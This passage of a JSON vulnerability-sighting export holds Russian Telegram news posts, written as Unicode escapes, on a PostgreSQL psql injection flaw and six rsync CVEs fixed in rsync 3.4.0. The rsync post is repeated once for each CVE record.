\u0438\u0437-\u0437\u0430 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a PostgreSQL \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043d\u0435\u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b UTF-8, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u0434\u0432\u0435\u0440\u044c \u0434\u043b\u044f \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u00ab\\!\u00bb, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/ \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c", "creation_timestamp": "2026-07-26T02:00:32.350774Z"}, {"uuid": "8092a2d9-5ce7-4341-9541-fe76b5020934", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Unix \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Google Cloud Vulnerability Research, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0431\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u041a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 CERT (CERT/CC). \u2013 \u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt\u00bb.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445:\n\n- CVE-2024-12084 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Rsync \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\n\n- CVE-2024-12085 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) - \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,1) - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Rsync;\n\n- CVE-2024-12087 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Rsync;\n\n- CVE-2024-12088 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u043e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (\u041e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,6) - c\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0432 Rsync \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c CVE-2024-12084 \u0438 CVE-2024-12085, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440 Rsync. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0. \u0412 \u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://kb.cert.org/vuls/id/952657 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-26T02:01:59.871951Z"}, {"uuid": "2946e9dc-3e95-4953-a1f0-8a6d22de7438", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Unix \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Google Cloud Vulnerability Research, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0431\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u041a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 CERT (CERT/CC). \u2013 \u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt\u00bb.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445:\n\n- CVE-2024-12084 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Rsync \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\n\n- CVE-2024-12085 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) - \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,1) - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Rsync;\n\n- CVE-2024-12087 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Rsync;\n\n- CVE-2024-12088 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u043e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (\u041e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,6) - c\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0432 Rsync \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c CVE-2024-12084 \u0438 CVE-2024-12085, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440 Rsync. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0. \u0412 \u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://kb.cert.org/vuls/id/952657 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-26T02:01:59.917985Z"}, {"uuid": "5d827ddb-4fe5-4b28-ab93-00ad4707fd48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c 